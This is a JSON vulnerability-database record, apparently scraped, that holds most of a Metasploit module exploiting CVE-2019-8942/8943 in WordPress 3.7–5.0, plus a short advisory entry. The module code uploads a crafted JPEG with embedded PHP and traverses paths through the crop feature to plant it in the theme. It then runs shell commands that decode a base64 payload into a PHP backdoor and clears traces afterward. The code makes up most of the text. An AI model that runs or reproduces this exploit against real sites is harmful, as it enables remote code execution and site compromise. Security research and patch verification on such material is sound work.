00 43 01 06 06 06\n 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24\n 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24\n 24 24 24 24 24 24 24 FF C0 00 11 08 00 C0 01 06 03 01 22 00 02 11 01 03 11 01 FF\n C4 00 1F 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06\n 07 08 09 0A 0B FF C4 00 B5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7D 01\n 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 A1 08 23 42 B1 C1\n 15 52 D1 F0 24 33 62 72 82 09 0A 16 17 18 19 1A 25 26 27 28 29 2A 34 35 36 37 38\n 39 3A 43 44 45 46 47 48 49 4A 53 54 55 56 57 58 59 5A 63 64 65 66 67 68 69 6A 73\n 74 75 76 77 78 79 7A 83 84 85 86 87 88 89 8A 92 93 94 95 96 97 98 99 9A A2 A3 A4\n A5 A6 A7 A8 A9 AA B2 B3 B4 B5 B6 B7 B8 B9 BA C2 C3 C4 C5 C6 C7 C8 C9 CA D2 D3 D4\n D5 D6 D7 D8 D9 DA E1 E2 E3 E4 E5 E6 E7 E8 E9 EA F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FF\n C4 00 1F 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06\n 07 08 09 0A 0B FF C4 00 B5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00\n 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 A1 B1 C1 09\n 23 33 52 F0 15 62 72 D1 0A 16 24 34 E1 25 F1 17 18 19 1A 26 27 28 29 2A 35 36 37\n 38 39 3A 43 44 45 46 47 48 49 4A 53 54 55 56 57 58 59 5A 63 64 65 66 67 68 69 6A\n 73 74 75 76 77 78 79 7A 82 83 84 85 86 87 88 89 8A 92 93 94 95 96 97 98 99 9A A2\n A3 A4 A5 A6 A7 A8 A9 AA B2 B3 B4 B5 B6 B7 B8 B9 BA C2 C3 C4 C5 C6 C7 C8 C9 CA D2\n D3 D4 D5 D6 D7 D8 D9 DA E2 E3 E4 E5 E6 E7 E8 E9 EA F2 F3 F4 F5 F6 F7 F8 F9 FA FF\n DA 00 0C 03 01 00 02 11 03 11 00 3F 00 3C 3F 3D 60 24 5F 47 45 54 5B 30 5D 60 3B\n 3F 3E\n ]\n img_data = [img_data.join].pack('H*')\n img_name += '.jpg'\n\n boundary = \"#{rand_text_alphanumeric(rand(10) + 5)}\"\n post_data = \"--#{boundary}\\r\\n\"\n post_data << \"Content-Disposition: form-data; name=\\\"name\\\"\\r\\n\"\n post_data << \"\\r\\n#{img_name}\\r\\n\"\n post_data << \"--#{boundary}\\r\\n\"\n post_data << \"Content-Disposition: form-data; name=\\\"action\\\"\\r\\n\"\n post_data << \"\\r\\nupload-attachment\\r\\n\"\n post_data << \"--#{boundary}\\r\\n\"\n post_data << \"Content-Disposition: form-data; name=\\\"_wpnonce\\\"\\r\\n\"\n post_data << \"\\r\\n#{wp_nonce}\\r\\n\"\n post_data << \"--#{boundary}\\r\\n\"\n post_data << \"Content-Disposition: form-data; name=\\\"async-upload\\\"; filename=\\\"#{img_name}\\\"\\r\\n\"\n post_data << \"Content-Type: image/jpeg\\r\\n\"\n post_data << \"\\r\\n#{img_data}\\r\\n\"\n post_data << \"--#{boundary}--\\r\\n\"\n print_status(\"Uploading payload\")\n upload_uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'async-upload.php')\n\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => upload_uri,\n 'ctype' => \"multipart/form-data; boundary=#{boundary}\",\n 'data' => post_data,\n 'cookie' => cookie\n )\n fail_with(Failure::UnexpectedReply, 'Unable to upload image') unless res && res.code == 200 && res.body && !res.body.empty?\n print_good(\"Image uploaded\")\n res = JSON.parse(res.body)\n image_id = res[\"data\"][\"id\"]\n update_nonce = res[\"data\"][\"nonces\"][\"update\"]\n filename = res[\"data\"][\"filename\"]\n return filename, image_id, update_nonce\n end\n\n def image_editor(img_name, ajax_nonce, image_id, cookie)\n uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => uri,\n 'cookie' => cookie,\n 'vars_post' => {\n 'action' => 'image-editor',\n '_ajax_nonce' => ajax_nonce,\n 'postid' => image_id,\n 'history' => '[{\"c\":{\"x\":0,\"y\":0,\"w\":400,\"h\":300}}]',\n 'target' => 'all',\n 'context' => '',\n 'do' => 'save'\n }\n )\n fail_with(Failure::NotFound, 'Unable to access page to retrieve filename') unless res && res.code == 200 && res.body && !res.body.empty?\n filename = res.body.scan(/(#{img_name}-\\S+)-/).flatten.first\n fail_with(Failure::NotFound, 'Unable to retrieve file name') unless filename\n\n filename << '.jpg'\n end\n\n def change_path(wpnonce2, image_id, filename, current_date, path, cookie)\n uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => uri,\n 'cookie' => cookie,\n 'vars_post' => {\n '_wpnonce' => wpnonce2,\n 'action' => 'editpost',\n 'post_ID' => image_id,\n 'meta_input[_wp_attached_file]' => \"#{current_date}#{filename}#{path}\"\n }\n )\n end\n\n def crop_image(image_id, ajax_nonce, cookie)\n uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => uri,\n 'cookie' => cookie,\n 'vars_post' => {\n 'action' => 'crop-image',\n '_ajax_nonce' => ajax_nonce,\n 'id' => image_id,\n 'cropDetails[x1]' => 0,\n 'cropDetails[y1]' => 0,\n 'cropDetails[width]' => 400,\n 'cropDetails[height]' => 300,\n 'cropDetails[dst_width]' => 400,\n 'cropDetails[dst_height]' => 300\n }\n )\n end\n\n def include_theme(shell_name, cookie)\n uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post-new.php')\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => uri,\n 'cookie' => cookie\n )\n if res && res.code == 200 && res.body && !res.body.empty?\n wpnonce2 = res.body.scan(/name=\"_wpnonce\" value=\"(\\w+)\"/).flatten.first\n post_id = res.body.scan(/\"post\":{\"id\":(\\w+),/).flatten.first\n fail_with(Failure::NotFound, 'Unable to retrieve the second wpnonce and the post id') unless wpnonce2 && post_id\n\n post_title = Rex::Text.rand_text_alpha(10)\n uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => uri,\n 'cookie' => cookie,\n 'vars_post' => {\n '_wpnonce'=> wpnonce2,\n 'action' => 'editpost',\n 'post_ID' => post_id,\n 'post_title' => post_title,\n 'post_name' => post_title,\n 'meta_input[_wp_page_template]' => \"cropped-#{shell_name}.jpg\"\n }\n )\n fail_with(Failure::NotFound, 'Failed to retrieve post id') unless res && res.code == 302\n post_id\n end\n end\n\n def check_for_base64(cookie, post_id)\n uri = normalize_uri(datastore['TARGETURI'])\n # Test if base64 is on target\n test_string = 'YmFzZTY0c3BvdHRlZAo='\n res = send_request_cgi!(\n 'method' => 'GET',\n 'uri' => uri,\n 'cookie' => cookie,\n 'vars_get' => {\n 'p' => post_id,\n '0' => \"echo #{test_string} | base64 -d\"\n }\n )\n fail_with(Failure::NotFound, 'Unable to retrieve response to base64 command') unless res && res.code == 200 && !res.body.empty?\n\n fail_with(Failure::NotFound, \"Can't find base64 decode on target\") unless res.body.include?(\"base64spotted\")\n # Execute payload with base64 decode\n @backdoor = Rex::Text.rand_text_alpha(10)\n encoded = Rex::Text.encode_base64(payload.encoded)\n res = send_request_cgi!(\n 'method' => 'GET',\n 'uri' => uri,\n 'cookie' => cookie,\n 'vars_get' => {\n 'p' => post_id,\n '0' => \"echo #{encoded} | base64 -d > #{@backdoor}.php\"\n }\n )\n\n fail_with(Failure::NotFound, 'Failed to send payload to target') unless res && res.code == 200 && !res.body.empty?\n send_request_cgi(\n 'method' => 'GET',\n 'uri' => normalize_uri(datastore['TARGETURI'], \"#{@backdoor}.php\"),\n 'cookie' => cookie\n )\n end\n\n def wp_cleanup(shell_name, post_id, cookie)\n print_status('Attempting to clean up files...')\n uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => uri,\n 'cookie' => cookie,\n 'vars_post' => { 'action' => \"query-attachments\" }\n )\n\n fail_with(Failure::NotFound, 'Failed to receive a response for uploaded file') unless res && res.code == 200 && !res.body.empty?\n infos = res.body.scan(/id\":(\\d+),.*filename\":\"cropped-#{shell_name}\".*?\"delete\":\"(\\w+)\".*\"id\":(\\d+),.*filename\":\"cropped-x\".*?\"delete\":\"(\\w+)\".*\"id\":(\\d+),.*filename\":\"#{shell_name}\".*?\"delete\":\"(\\w+)\"/).flatten\n id1, id2, id3 = infos[0], infos[2], infos[4]\n delete_nonce1, delete_nonce2, delete_nonce3 = infos[1], infos[3], infos[5]\n for i in (0...6).step(2)\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => uri,\n 'cookie' => cookie,\n 'vars_post' => {\n 'action' => \"delete-post\",\n 'id' => infos[i],\n '_wpnonce' => infos[i+1]\n }\n )\n end\n\n uri1 = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'edit.php')\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => uri1,\n 'cookie' => cookie\n )\n\n if res && res.code == 200 && res.body && !res.body.empty?\n post_nonce = res.body.scan(/post=#{post_id}&action=trash&_wpnonce=(\\w+)/).flatten.first\n fail_with(Failure::NotFound, 'Unable to retrieve post nonce') unless post_nonce\n uri2 = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')\n\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => uri2,\n 'cookie' => cookie,\n 'vars_get' => {\n 'post' => post_id,\n 'action' => 'trash',\n '_wpnonce' => post_nonce\n }\n )\n\n fail_with(Failure::NotFound, 'Unable to retrieve response') unless res && res.code == 302\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => uri1,\n 'cookie' => cookie,\n 'vars_get' => {\n 'post_status' => \"trash\",\n 'post_type' => 'post',\n '_wpnonce' => post_nonce\n }\n )\n\n if res && res.code == 200 && res.body && !res.body.empty?\n nonce = res.body.scan(/post=#{post_id}&action=delete&_wpnonce=(\\w+)/).flatten.first\n fail_with(Failure::NotFound, 'Unable to retrieve nonce') unless nonce\n\n send_request_cgi(\n 'method' => 'GET',\n 'uri' => uri2,\n 'cookie' => cookie,\n 'vars_get' => {\n 'post' => post_id,\n 'action' => 'delete',\n '_wpnonce' => nonce\n }\n )\n end\n end\n end\n\n def exploit\n fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?\n\n print_status(\"Authenticating with WordPress using #{username}:#{password}...\")\n cookie = wordpress_login(username, password)\n fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?\n print_good(\"Authenticated with WordPress\")\n store_valid_credential(user: username, private: password, proof: cookie)\n\n print_status(\"Preparing payload...\")\n @current_theme = get_current_theme\n wp_nonce = get_wpnonce(cookie)\n @current_date = Time.now.strftime(\"%Y/%m/\")\n\n img_name = Rex::Text.rand_text_alpha(10)\n @filename1, image_id, update_nonce = upload_file(img_name, wp_nonce, cookie)\n ajax_nonce = get_ajaxnonce(cookie)\n\n @filename1 = image_editor(img_name, ajax_nonce, image_id, cookie)\n wpnonce2 = get_wpnonce2(image_id, cookie)\n\n change_path(wpnonce2, image_id, @filename1, @current_date, '?/x', cookie)\n crop_image(image_id, ajax_nonce, cookie)\n\n @shell_name = Rex::Text.rand_text_alpha(10)\n change_path(wpnonce2, image_id, @filename1, @current_date, \"?/../../../../themes/#{@current_theme}/#{@shell_name}\", cookie)\n crop_image(image_id, ajax_nonce, cookie)\n\n print_status(\"Including into theme\")\n post_id = include_theme(@shell_name, cookie)\n\n check_for_base64(cookie, post_id)\n wp_cleanup(@shell_name, post_id, cookie)\n end\n\n def on_new_session(client)\n client.shell_command_token(\"rm wp-content/uploads/#{@current_date}#{@filename1[0...10]}*\")\n client.shell_command_token(\"rm wp-content/uploads/#{@current_date}cropped-#{@filename1[0...10]}*\")\n client.shell_command_token(\"rm -r wp-content/uploads/#{@current_date}#{@filename1[0...10]}*\")\n client.shell_command_token(\"rm wp-content/themes/#{@current_theme}/cropped-#{@shell_name}.jpg\")\n client.shell_command_token(\"rm #{@backdoor}.php\")\n end\nend\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/wp_crop_rce.rb"}], "wpvulndb": [{"lastseen": "2020-12-09T21:51:44", "bulletinFamily": "software", "cvelist": ["CVE-2019-8942", "CVE-2019-8943"], "description": "An attacker with author privileges can execute arbitrary code by uploading a crafted image containing PHP code in the Exif metadata. \n", "modified": "2020-09-22T07:26:52", "published": "2019-02-19T00:00:00", "id": "WPVDB-ID:9222", "href": "https://wpvulndb.com/vulnerabilities/9222", "type": "wpvulndb", "title": "WordPress 3.7-5.0 (except 4.9.9) - Authenticated Code Execution", "sourceData": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}]}